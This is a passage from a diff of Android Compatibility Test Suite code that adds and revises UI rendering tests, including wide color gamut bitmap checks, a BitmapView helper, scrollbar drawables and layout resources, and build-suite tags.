+ throws IOException {
+ final Rect tempPadding = new Rect();
+
+ // Capture initial state at preload density.
+ final int preloadDensityDpi = densities[0];
+ setResourcesDensity(res, preloadDensityDpi);
+
+ final BitmapDrawable preloadedDrawable = (BitmapDrawable) res.getDrawable(sourceResId);
+ final ConstantState preloadedConstantState = preloadedDrawable.getConstantState();
+ final int origWidth = preloadedDrawable.getIntrinsicWidth();
+ final int origHeight = preloadedDrawable.getIntrinsicHeight();
+ assertFalse(preloadedDrawable.getPadding(tempPadding));
+
+ runTest(preloadedDrawable);
+
+ for (int i = 1; i < densities.length; i++) {
+ final int scaledDensityDpi = densities[i];
+ final float scale = scaledDensityDpi / (float) preloadDensityDpi;
+ setResourcesDensity(res, scaledDensityDpi);
+
+ final BitmapDrawable scaledDrawable =
+ (BitmapDrawable) preloadedConstantState.newDrawable(res);
+ scaledDrawable.setLayoutDirection(LayoutDirection.RTL);
+
+ // Sizes are rounded.
+ assertEquals(Math.round(origWidth * scale), scaledDrawable.getIntrinsicWidth());
+ assertEquals(Math.round(origHeight * scale), scaledDrawable.getIntrinsicHeight());
+
+ // Bitmaps have no padding.
+ assertFalse(scaledDrawable.getPadding(tempPadding));
+
+ runTest(scaledDrawable);
+
+ // Ensure theme density is applied correctly. Unlike most
+ // drawables, we don't have any loss of accuracy because density
+ // changes are re-computed from the source every time.
+ setResourcesDensity(res, preloadDensityDpi);
+
+ final Theme t = res.newTheme();
+ scaledDrawable.applyTheme(t);
+ assertEquals(origWidth, scaledDrawable.getIntrinsicWidth());
+ assertEquals(origHeight, scaledDrawable.getIntrinsicHeight());
+ assertFalse(scaledDrawable.getPadding(tempPadding));
+ }
+ }
+
+ private void runTest(Drawable dr) {
+ final Rect drBounds = new Rect(0, 0, dr.getIntrinsicWidth(), dr.getIntrinsicHeight());
+ CanvasClient canvasClient = (canvas, width, height) -> {
+ assertTrue(width > drBounds.width());
+ assertTrue(height > drBounds.height());
+ dr.setBounds(drBounds);
+ dr.draw(canvas);
+ };
+ createTest()
+ .addCanvasClient(canvasClient)
+ .runWithVerifier(new RectVerifier(Color.WHITE, Color.BLUE, drBounds));
+ }
+
+ private static void setResourcesDensity(Resources res, int densityDpi) {
+ final Configuration config = new Configuration();
+ config.setTo(res.getConfiguration());
+ config.densityDpi = densityDpi;
+ res.updateConfiguration(config, null);
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
index f0afd53..ce7e4b5 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
@@ -99,9 +99,10 @@
}
}
+ RtOnlyFrameCounter counter = new RtOnlyFrameCounter();
+
ViewInitializer initializer = new ViewInitializer() {
Animator mAnimator;
- RtOnlyFrameCounter mCounter = new RtOnlyFrameCounter();
@Override
public void initializeView(View view) {
@@ -128,19 +129,21 @@
child.setColor(Color.BLUE);
}
}, 1000);
- getActivity().getWindow().addOnFrameMetricsAvailableListener(mCounter, handler);
+ getActivity().getWindow().addOnFrameMetricsAvailableListener(counter, handler);
}
@Override
public void teardownView() {
mAnimator.cancel();
- Assert.assertTrue(mCounter.isLargeEnough());
+ getActivity().getWindow().removeOnFrameMetricsAvailableListener(counter);
}
};
createTest()
.addLayout(R.layout.frame_layout, initializer, true)
.runWithAnimationVerifier(new ColorCountVerifier(Color.RED, 0));
+
+ Assert.assertTrue(counter.isLargeEnough());
}
/*
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
index 1ff74bf..0763e4b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -109,11 +109,6 @@
}
@Test
- public void testBitmapConfigFromIndex8() {
- testBitmapCopy(R.drawable.index_8, null, Bitmap.Config.HARDWARE);
- }
-
- @Test
public void testBitmapConfigFromHardwareToHardware() {
testBitmapCopy(R.drawable.robot, Bitmap.Config.HARDWARE, Bitmap.Config.HARDWARE);
}
@@ -247,4 +242,4 @@
canvas.drawBitmap(copy, 0, 0, null);
}, true).runWithComparer(new MSSIMComparer(0.99));
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
index 2e1ce85..153bf5b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
@@ -15,13 +15,17 @@
*/
package android.uirendering.cts.testclasses;
+import com.android.compatibility.common.util.SynchronousPixelCopy;
+
import android.animation.ObjectAnimator;
import android.graphics.Bitmap;
import android.graphics.Bitmap.Config;
import android.graphics.Canvas;
import android.graphics.Color;
+import android.graphics.Point;
import android.graphics.Rect;
import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
@@ -36,8 +40,6 @@
import android.view.animation.LinearInterpolator;
import android.widget.FrameLayout;
-import com.android.compatibility.common.util.SynchronousPixelCopy;
-
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
new file mode 100644
index 0000000..9f46e36
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.ColorSpace;
+import android.graphics.Point;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
+import android.uirendering.cts.bitmapverifiers.SamplePointWideGamutVerifier;
+import android.uirendering.cts.testclasses.view.BitmapView;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.view.View;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class WideColorGamutTests extends ActivityTestBase {
+ private static final ColorSpace DISPLAY_P3 = ColorSpace.get(ColorSpace.Named.DISPLAY_P3);
+ private static final ColorSpace SCRGB = ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+
+ private static final Point[] POINTS = {
+ new Point(16, 16),
+ new Point(48, 16),
+ new Point(80, 16),
+ };
+
+ // The colors are defined as found in wide-gamut-test.png, which is Display P3
+ // Since the UI toolkit renders in scRGB, we want to convert here to compare values
+ // directly in the sample point verifier
+ private static final Color[] COLORS = {
+ Color.valueOf(0.937f, 0.000f, 0.000f, 1.0f, DISPLAY_P3).convert(SCRGB),
+ Color.valueOf(1.000f, 0.000f, 0.000f, 1.0f, DISPLAY_P3).convert(SCRGB),
+ Color.valueOf(0.918f, 0.200f, 0.137f, 1.0f, DISPLAY_P3).convert(SCRGB)
+ };
+
+ private Bitmap mBitmap;
+
+ @Override
+ protected boolean isWideColorGamut() {
+ return true;
+ }
+
+ @Before
+ public void loadBitmap() {
+ try (InputStream in = getActivity().getAssets().open("wide-gamut-test.png")) {
+ mBitmap = BitmapFactory.decodeStream(in);
+ } catch (IOException e) {
+ Assert.fail("Could not load wide-gamut-test.png");
+ }
+ }
+
+ @SuppressWarnings("SameParameterValue")
+ private BitmapVerifier getVerifier(Point[] points, Color[] colors, float eps) {
+ if (getActivity().getWindow().isWideColorGamut()) {
+ return new SamplePointWideGamutVerifier(points, colors, eps);
+ }
+ return new SamplePointVerifier(points,
+ Arrays.stream(colors).mapToInt(Color::toArgb).toArray(),
+ (int) (eps * 255.0f + 0.5f));
+ }
+
+ @Test
+ public void testDraw() {
+ createTest()
+ .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+ BitmapView bv = (BitmapView) view;
+ bv.setBitmap(mBitmap);
+ }, true)
+ .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+ }
+
+ @Test
+ public void testSaveLayer() {
+ createTest()
+ .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+ BitmapView bv = (BitmapView) view;
+ bv.setBitmap(mBitmap);
+ bv.setSaveLayer(true);
+ }, true)
+ .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+ }
+
+ @Test
+ public void testHardwareLayer() {
+ createTest()
+ .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+ BitmapView bv = (BitmapView) view;
+ bv.setBitmap(mBitmap);
+ bv.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+ }, true)
+ .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+ }
+
+ @Test
+ public void testSaveLayerInHardwareLayer() {
+ createTest()
+ .addLayout(R.layout.wide_gamut_bitmap_layout, view -> {
+ BitmapView bv = (BitmapView) view;
+ bv.setBitmap(mBitmap);
+ bv.setSaveLayer(true);
+ bv.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+ }, true)
+ .runWithVerifier(getVerifier(POINTS, COLORS, 1e-2f));
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/BitmapView.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/BitmapView.java
new file mode 100644
index 0000000..b672e40
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/BitmapView.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses.view;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Path;
+import android.util.AttributeSet;
+import android.view.View;
+import android.widget.FrameLayout;
+
+public class BitmapView extends View {
+ private Bitmap mBitmap;
+ private boolean mSaveLayer;
+
+ public BitmapView(Context context, AttributeSet attrs) {
+ super(context, attrs);
+ }
+
+ public BitmapView(Context context, AttributeSet attrs, int defStyleAttr) {
+ super(context, attrs, defStyleAttr);
+ }
+
+ public BitmapView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
+ super(context, attrs, defStyleAttr, defStyleRes);
+ }
+
+ public BitmapView(Context context, Bitmap b, boolean saveLayer) {
+ super(context);
+ mBitmap = b;
+ mSaveLayer = saveLayer;
+ }
+
+ public Bitmap getBitmap() {
+ return mBitmap;
+ }
+
+ public void setBitmap(Bitmap bitmap) {
+ mBitmap = bitmap;
+ }
+
+ public boolean isSaveLayer() {
+ return mSaveLayer;
+ }
+
+ public void setSaveLayer(boolean saveLayer) {
+ mSaveLayer = saveLayer;
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+ super.onDraw(canvas);
+ if (mSaveLayer) {
+ canvas.saveLayer(0.0f, 0.0f, getWidth(), getHeight(), null);
+ }
+ canvas.drawBitmap(mBitmap, 0, 0, null);
+ if (mSaveLayer) {
+ canvas.restore();
+ }
+ }
+
+ @Override
+ protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
+ setMeasuredDimension(mBitmap.getWidth(), mBitmap.getHeight());
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
index 23b729a..57e7d3b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
@@ -82,11 +82,16 @@
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.setClass(instrumentation.getTargetContext(), DrawActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(DrawActivity.EXTRA_WIDE_COLOR_GAMUT, isWideColorGamut());
sActivity = (DrawActivity) instrumentation.startActivitySync(intent);
}
return sActivity;
}
+ protected boolean isWideColorGamut() {
+ return false;
+ }
+
@AfterClass
public static void tearDownClass() {
if (sActivity != null) {
@@ -124,7 +129,9 @@
if (mScreenshotter == null) {
SynchronousPixelCopy copy = new SynchronousPixelCopy();
Bitmap dest = Bitmap.createBitmap(
- TEST_WIDTH, TEST_HEIGHT, Config.ARGB_8888);
+ TEST_WIDTH, TEST_HEIGHT,
+ getActivity().getWindow().isWideColorGamut()
+ ? Config.RGBA_F16 : Config.ARGB_8888);
Rect srcRect = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
srcRect.offset(testPositionInfo.surfaceOffset.x, testPositionInfo.surfaceOffset.y);
Log.d(TAG, "capturing screenshot of " + srcRect.toShortString());
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
index 7060f46..1d4d3f4 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.fail;
import android.app.Activity;
+import android.content.pm.ActivityInfo;
import android.content.res.Configuration;
import android.graphics.Point;
import android.os.Bundle;
@@ -41,6 +42,8 @@
* A generic activity that uses a view specified by the user.
*/
public class DrawActivity extends Activity {
+ static final String EXTRA_WIDE_COLOR_GAMUT = "DrawActivity.WIDE_COLOR_GAMUT";
+
private final static long TIME_OUT_MS = 10000;
private final Object mLock = new Object();
private ActivityTestBase.TestPositionInfo mPositionInfo;
@@ -54,6 +57,9 @@
super.onCreate(bundle);
getWindow().getDecorView().setSystemUiVisibility(
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN);
+ if (getIntent().getBooleanExtra(EXTRA_WIDE_COLOR_GAMUT, false)) {
+ getWindow().setColorMode(ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT);
+ }
mHandler = new RenderSpecHandler();
int uiMode = getResources().getConfiguration().uiMode;
mOnTv = (uiMode & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_TELEVISION;
@@ -204,7 +210,6 @@
}
private class DrawCounterListener implements ViewTreeObserver.OnDrawListener {
- private final int[] mLocationInWindow = new int[2];
private static final int DEBUG_REQUIRE_EXTRA_FRAMES = 1;
private int mDrawCount = 0;
@@ -215,8 +220,8 @@
return;
}
mView.post(() -> {
- Log.d("UiRendering", "notifying capture");
mView.getViewTreeObserver().removeOnDrawListener(this);
+
final int[] location = new int[2];
mViewWrapper.getLocationInWindow(location);
Point surfaceOffset = new Point(location[0], location[1]);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
index d5f9324..1523283 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
@@ -83,9 +83,7 @@
String testName, String debugMessage) {
int width = bitmap.getWidth();
int height = bitmap.getHeight();
- int[] pixels = new int[width * height];
- bitmap.getPixels(pixels, 0, width, 0, 0, width, height);
- boolean success = bitmapVerifier.verify(pixels, 0, width, width, height);
+ boolean success = bitmapVerifier.verify(bitmap);
if (!success) {
Bitmap croppedBitmap = Bitmap.createBitmap(bitmap, 0, 0, width, height);
BitmapDumper.dumpBitmap(croppedBitmap, testName, mClassName);
diff --git a/tests/tests/util/Android.mk b/tests/tests/util/Android.mk
index 32d4584..ed7a61c 100644
--- a/tests/tests/util/Android.mk
+++ b/tests/tests/util/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-annotations \
diff --git a/tests/tests/util/src/android/util/cts/MathUtilsTest.java b/tests/tests/util/src/android/util/cts/MathUtilsTest.java
new file mode 100644
index 0000000..d19a652
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/MathUtilsTest.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.util.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.MathUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MathUtilsTest {
+
+ @Test
+ public void testMap() {
+ // converting to int since assertEquals can't compare floats
+ int result = (int) MathUtils.map(0, 1, 0, 100, 0.5f);
+ assertEquals("Half of 0..100 should be 50", result, 50);
+ }
+}
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index f582b41..533d98b 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MULTILIB := both
@@ -31,6 +31,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-test \
compatibility-device-util \
+ ctsdeviceutillegacy \
ctstestrunner \
mockito-target-minus-junit4 \
platform-test-annotations \
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index f9c305f..823704c 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -175,6 +175,7 @@
android:screenOrientation="locked"
android:label="PixelCopyGLProducerCtsActivity"/>
+
<activity android:name="android.view.cts.PixelCopyViewProducerActivity"
android:label="PixelCopyViewProducerActivity"
android:screenOrientation="portrait"
@@ -182,6 +183,14 @@
android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
android:configChanges="orientation|screenSize" />
+ <activity android:name="android.view.cts.PixelCopyWideGamutViewProducerActivity"
+ android:label="PixelCopyWideGamutViewProducerActivity"
+ android:screenOrientation="portrait"
+ android:rotationAnimation="jumpcut"
+ android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
+ android:configChanges="orientation|screenSize"
+ android:colorMode="wideColorGamut" />
+
<activity android:name="android.view.cts.FocusFinderCtsActivity"
android:screenOrientation="locked"
android:label="FocusFinderCtsActivity">
@@ -289,7 +298,7 @@
</activity>
<activity android:name="android.view.cts.DragDropActivity"
- android:screenOrientation="locked"
+ android:screenOrientation="portrait"
android:label="DragDropActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
diff --git a/tests/tests/view/assets/prophoto.png b/tests/tests/view/assets/prophoto.png
new file mode 100644
index 0000000..8badba7
--- /dev/null
+++ b/tests/tests/view/assets/prophoto.png
Binary files differ
diff --git a/tests/tests/view/res/drawable/scrollbar_no_size.xml b/tests/tests/view/res/drawable/scrollbar_no_size.xml
new file mode 100644
index 0000000..88a59f0
--- /dev/null
+++ b/tests/tests/view/res/drawable/scrollbar_no_size.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:shape="rectangle">
+ <solid android:color="@android:color/white" />
+</shape>
diff --git a/tests/tests/view/res/drawable/scrollbar_thumb.xml b/tests/tests/view/res/drawable/scrollbar_thumb.xml
new file mode 100644
index 0000000..d7612ac
--- /dev/null
+++ b/tests/tests/view/res/drawable/scrollbar_thumb.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:shape="rectangle">
+ <solid android:color="@android:color/white" />
+ <size
+ android:width="@dimen/scrollbar_thumb_width"
+ android:height="@dimen/scrollbar_thumb_height"/>
+</shape>
diff --git a/tests/tests/view/res/drawable/scrollbar_track.xml b/tests/tests/view/res/drawable/scrollbar_track.xml
new file mode 100644
index 0000000..a184569
--- /dev/null
+++ b/tests/tests/view/res/drawable/scrollbar_track.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+ android:shape="rectangle">
+ <solid android:color="@android:color/white" />
+ <size
+ android:width="@dimen/scrollbar_track_width"
+ android:height="@dimen/scrollbar_track_height"/>
+</shape>
diff --git a/tests/tests/view/res/layout/drag_drop_layout.xml b/tests/tests/view/res/layout/drag_drop_layout.xml
index 3800d99..cf882bd 100644
--- a/tests/tests/view/res/layout/drag_drop_layout.xml
+++ b/tests/tests/view/res/layout/drag_drop_layout.xml
@@ -25,26 +25,26 @@
android:id="@+id/container"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_margin="64px"
+ android:layout_margin="42dp"
android:background="#BBBBBB">
<FrameLayout
android:id="@+id/subcontainer"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_margin="64px"
+ android:layout_margin="42dp"
android:background="#666666">
<View
android:id="@+id/inner"
- android:layout_width="64px"
- android:layout_height="64px"
- android:layout_margin="64px"
+ android:layout_width="42dp"
+ android:layout_height="42dp"
+ android:layout_margin="42dp"
android:background="#00FF00" />
</FrameLayout>
</FrameLayout>
<View
android:id="@+id/draggable"
- android:layout_width="64px"
- android:layout_height="64px"
- android:layout_margin="64px"
+ android:layout_width="42dp"
+ android:layout_height="42dp"
+ android:layout_margin="42dp"
android:background="#0000FF" />
</LinearLayout>
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 1dea684..8f4dffb 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -22,7 +22,8 @@
android:layout_alignParentTop="true">
<TableRow>
<android.view.cts.TestButton android:id="@+id/top_left_button"
- android:layout_width="60dp"
+ android:layout_width="20dp"
+ android:layout_marginRight="40dp"
android:layout_height="match_parent"
android:text="TL" />
<android.view.cts.TestButton android:id="@+id/top_right_button"
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 920da83..c3b97c5 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -36,7 +36,11 @@
android:scrollbars="horizontal|vertical"
android:fadingEdge="horizontal|vertical"
android:scrollIndicators="top|bottom"
- android:fadingEdgeLength="20px"/>
+ android:fadingEdgeLength="20px"
+ android:scrollbarThumbVertical="@null"
+ android:scrollbarTrackVertical="@null"
+ android:scrollbarThumbHorizontal="@null"
+ android:scrollbarTrackHorizontal="@null"/>
<android.view.cts.MockView
android:id="@+id/scroll_view_2"
@@ -44,7 +48,51 @@
android:layout_height="200px"
android:scrollbars="horizontal|vertical"
android:requiresFadingEdge="horizontal|vertical"
- android:fadingEdgeLength="20px"/>
+ android:fadingEdgeLength="20px"
+ android:scrollbarThumbVertical="@null"
+ android:scrollbarTrackVertical="@null"
+ android:scrollbarThumbHorizontal="@null"
+ android:scrollbarTrackHorizontal="@null"/>
+
+ <android.view.cts.MockView
+ android:id="@+id/scroll_view_3"
+ android:layout_width="100px"
+ android:layout_height="200px"
+ android:scrollbars="horizontal|vertical"
+ android:scrollbarThumbVertical="@drawable/scrollbar_no_size"
+ android:scrollbarTrackVertical="@null"
+ android:scrollbarThumbHorizontal="@drawable/scrollbar_no_size"
+ android:scrollbarTrackHorizontal="@null"/>
+
+ <android.view.cts.MockView
+ android:id="@+id/scroll_view_4"
+ android:layout_width="100px"
+ android:layout_height="200px"
+ android:scrollbars="horizontal|vertical"
+ android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
+ android:scrollbarTrackVertical="@null"
+ android:scrollbarThumbHorizontal="@drawable/scrollbar_thumb"
+ android:scrollbarTrackHorizontal="@null"/>
+
+ <android.view.cts.MockView
+ android:id="@+id/scroll_view_5"
+ android:layout_width="100px"
+ android:layout_height="200px"
+ android:scrollbars="horizontal|vertical"
+ android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
+ android:scrollbarTrackVertical="@drawable/scrollbar_track"
+ android:scrollbarThumbHorizontal="@drawable/scrollbar_thumb"
+ android:scrollbarTrackHorizontal="@drawable/scrollbar_track"/>
+
+ <android.view.cts.MockView
+ android:id="@+id/scroll_view_6"
+ android:layout_width="100px"
+ android:layout_height="200px"
+ android:scrollbars="horizontal|vertical"
+ android:scrollbarThumbVertical="@drawable/scrollbar_thumb"
+ android:scrollbarTrackVertical="@drawable/scrollbar_no_size"
+ android:scrollbarThumbHorizontal="@drawable/scrollbar_thumb"
+ android:scrollbarTrackHorizontal="@drawable/scrollbar_no_size"/>
<View
android:id="@+id/fit_windows"
diff --git a/tests/tests/view/res/values/dimens.xml b/tests/tests/view/res/values/dimens.xml
index 5680de0..5ae23c2 100644
--- a/tests/tests/view/res/values/dimens.xml
+++ b/tests/tests/view/res/values/dimens.xml
@@ -41,4 +41,8 @@
<dimen name="hover_target_margin">4dp</dimen>
<dimen name="hover_target_size">8dp</dimen>
<dimen name="hover_target_size_double">16dp</dimen>
+ <dimen name="scrollbar_thumb_width">11dp</dimen>
+ <dimen name="scrollbar_thumb_height">12dp</dimen>
+ <dimen name="scrollbar_track_width">13dp</dimen>
+ <dimen name="scrollbar_track_height">14dp</dimen>
</resources>
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
index aac14e6..d3bc8e0 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
+++ b/tests/tests/view/src/android/view/animation/cts/AnimationTest.java
@@ -77,7 +77,7 @@
/** It is defined in R.anim.decelerate_alpha */
private static final int DECELERATE_ALPHA_DURATION = 2000;
- private static final int CANCELATION_TIMEOUT = 1000;
+ private static final int CANCELATION_TIMEOUT = 5000;
private Instrumentation mInstrumentation;
private Activity mActivity;
diff --git a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java b/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
index 7e0808e..ddd55aa 100644
--- a/tests/tests/view/src/android/view/animation/cts/AnimatorInflaterTest.java
